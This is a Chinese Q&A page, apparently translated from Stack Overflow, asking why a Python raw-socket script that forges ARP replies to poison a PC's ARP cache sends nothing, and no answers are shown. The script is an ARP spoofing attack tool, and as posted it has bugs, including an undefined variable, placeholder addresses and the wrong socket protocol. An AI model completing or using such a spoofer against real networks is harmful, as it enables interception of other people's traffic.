ARP欺骗无效

时间:2018-07-21 15:56:29

标签: python sockets networking

我的目标是使用手机在PC上更改arp缓存。 我使用python套接字创建了一个伪造的arp-reply,但是当我发送数据包时,什么也没发生。我安装了Wireshark来查看所有数据包,但没有看到我的假arp答复。我使用具有根权限的termux并绑定到“ wlan0”。我究竟做错了什么 ?。这是我的代码:

import binascii
import struct
import socket

sock = socket.socket (socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0800))
sock.bind (("wlan0", 0))

# here mac adressses

src_MAC = "bb:bb:bb:bb:bb:bb"  
dst_MAC = "xx:xx:xx:xx:xx:xx"

src_IP = "192.168.1.x"
dst_IP = "192.168.1.x"

protocol = 0x0806 

my_ethernet = struct.pack ("!6s6sH",
    binascii.unhexlify(dst_MAC.replace(":", "")),
    binascii.unhexlify(src_MAC.replace(":", "")),
    protocol)


hardware_type = 0x0001
hardware_length = 0x0006
protocol_length = 0x0004
operation = 0x0002

dst_ip = socket.inet_aton (dst_IP)
src_ip = socket.inet_aton (src_IP)

my_arp = struct.pack ("!HHBBH6s4s6s4s",
hardware_type,
protocol_type,
hardware_length,
protocol_length,
operation,
binascii.unhexlify(src_MAC.replace(":", "")),
src_ip,
binascii.unhexlify(dst_MAC.replace(":", "")),
dst_ip)

packet = my_ethernet + my_arp

while True:
    sock.send (packet)
    print "packet sent.... \n"

0 个答案:

没有答案